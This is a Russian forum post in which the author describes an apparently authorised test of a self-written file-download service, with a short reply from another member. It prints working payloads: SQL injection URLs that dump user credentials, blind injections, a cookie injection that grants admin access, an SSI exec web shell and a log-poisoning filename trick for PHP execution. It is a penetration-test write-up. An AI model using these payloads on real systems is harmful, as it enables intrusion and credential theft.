не настроен правильно серв

Discussion in 'Уязвимости' started by Scipio, 14 Jul 2009.

  1. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    В общем на статью может быть не тянет, но поделиться хочется, смысл в том, что я со знакомым админом договорился что потестю их сервис. Сервис - что то наподобие файлообменника, вернее качалки с других файлообменников. Да, забыл сказать что двиг был самописный. Походу рассказа буду вставлять логи из разговора, вернее часть логов:
    Code:
     scipio (21:34:54 2/02/2009)
    http://testsite.ru/script.php?cat=-2%20union%20select%201,2,group_concat(email,0x3a,name,0x3a,password,0x3a,superuser)%20from%20users%20where%20superuser%3E0+--+
    
     scipio (21:35:02 2/02/2009)
    пришла ссылка?
    
     ******* (21:35:06 2/02/2009)
    ога
    
     ******* (21:43:33 2/02/2009)
    погоди
    
     ******* (21:43:35 2/02/2009)
    ничо не понял
    
     ******* (21:43:36 2/02/2009)
    $category = mysql_escape_string( $_GET["cat"] );
    
     scipio (21:44:57 2/02/2009)
    ну и? экранирует кавычки, а толку то?
    Вобщем простенькая ничем не примечательная инъекция, описание которых в сети и без того много. Далее я нашел инъекцию в куках, я не буду приводить кусок лога, где було общение про эту инъекцию т.к. там один мат со стороны админа в сторону кодеров, скажу только что подставив себе куки
    Code:
    yagoda-cookie=admin%40testsite.ru' or 1=1 -- 
    я стал админом. Ну и под конец были найдены еще пара-тройка слепых инъекций
    Code:
    scipio (23:07:45 2/02/2009)
    http://testsite.ru/del.php?id=483011111%20and%201=if(substring(version(),1,1)=5,1,(select%201%20union%20select%202))
    
     scipio (23:08:06 2/02/2009)
    http://testsite.ru/del.php?id=483011111%20and%201=if(substring(version(),1,1)=4,1,(select%201%20union%20select%202))
    Через несколько дней когда я вернулся к этому сайту началось самое забавное, я понял что файлы качаются не с помощью функций php, а средствами ОС, а точнее качалкой WGET, забавным оказалось то, что файлы скачивались с тем же расширением как они были в изначальном виде. Т. е. залив на народ файл shell.php и скачав его на этот файлообменник, я получал на серве файл с расширением php, все бы хорошо, но была маленькая деталь которая усложняла жизнь (хотя не особо то усложняла), к файлу добавлялся timestamp перед именем, написать брутер под это дело было не сложно и времени бы такой брутер совсем бы не занял. Но человеку свойственно самому придумывать для себя проблеммы и сложности, так и я не заметил наипростейшего решения. Оказывается папка upload, куда собственно и закачивались файлы, была доступна на просмотр. Я без труда находил свои php файлы. Шелл был залит. Соответственно я показал это админу и он закрыл возможность выполнять php скрипты с помощью .htaccess, который нельзя было преписать из-за timectamp (О блин, его же можно удалить и я знаю как, это мысля мне пришла в голову только сейчас). Еще через несколько дней
    Code:
    scipio (21:45:21 28/03/2009)
    слух а у пхп на вашем серве не стоит случаем mod_include?
    
     ****** (21:46:12 28/03/2009)
    allow_url_include    Off
    
     ****** (21:46:24 28/03/2009)
    mod_include есть
    
     ****** (21:46:25 28/03/2009)
    даа
    
     scipio (21:46:29 28/03/2009)
    ))))))))00
    
     ****** (21:46:31 28/03/2009)
    а чо эт ваще
    
     ****** (21:46:53 28/03/2009)
    м ?
    
     scipio (21:47:13 28/03/2009)
    ну это значит что возможность вас похекать остается)
    Вобщем дальше я создал файло с названием shell.shtml и с содержанием:
    Code:
    <!--#exec cmd="$QUERY_STRING_UNESCAPED"-->
    далее я его закачал и обратился:
    Code:
    http://testsite.ru/upload/1238347498_shell.shtml?ls -lp
    передо мной был листинг текущей папки. Об этом я тоже сообщил админу, и он прикрыл это безобразие.
    Намба фо.
    Седня решил зайти на этот сайт и чтото скачать, произошел глюк и я увидел не содержимое файла а лог wget. Когда я его увидел, я широко улыбнулся, потому как у меня появилась идея.Приведу пример логфайла http://testsite.ru/_logs/1242257939_filo.txt.wgetlog :
    Code:
    --2009-05-14 03:39:00--  http://www.mysite.it/uploadfile/filo.txt
    Resolving www.mysite.it... 66.xx.xx.xx
    Connecting to www.mysite.it|66.xx.xx.xx|:80... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 3 [text/plain]
    Saving to: `./upload/1242257939_filo.txt'
    
         0K                                                       100%  626K=0s
    
    2009-05-14 03:39:00 (626 KB/s) - `./upload/1242257939_filo.txt' saved [3/3]
    Я зашел на шелл http://www.mysite.it/uploadfile/r57.php и сделал бекконект, дале в консоли я набрал:
    Code:
    echo "ff">\<\?phpinfo\(\)\?\>\.php
    тем самым создал на серве файл с именем <?phpinfo()?>.php. Содержимое файла было не важно, потом перевел в урл кодировку <?phpinfo()?>.php и получил %3C%3F%70%68%70%69%6E%66%6F%28%29%3F%3E%2E%70%68%70
    На сайте testsite.ru в адрессное поле я ввел
    Code:
    http://www.mysite.it/uploadfile/%3C%3F%70%68%70%69%6E%66%6F%28%29%3F%3E%2E%70%68%70
    после того как закачка прошла успешно, я обратился
    Code:
    http://testsite.ru/_logs/1242258092_%3C%3fphpinfo()%3f%3E.php.wgetlog
    Угадайте что я увидел :), <?phpinfo()?> выполнилось, т.к. .htaccess в папке _logs небыло а апач не распознал расширение wgetlog и обработал предыдущее расширение, т.е. php. Соответственно и полноценный шелл залить не сложно. Админу я уже написал.
     
    5 people like this.
  2. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,515
    Likes Received:
    400
    Reputations:
    196
    Даа интересная заметка)

    Только я не догнал - phpinfo() выполняется если в названии скрипта <?php phpinfo();?> ? почему так?


    PS аа.. понял...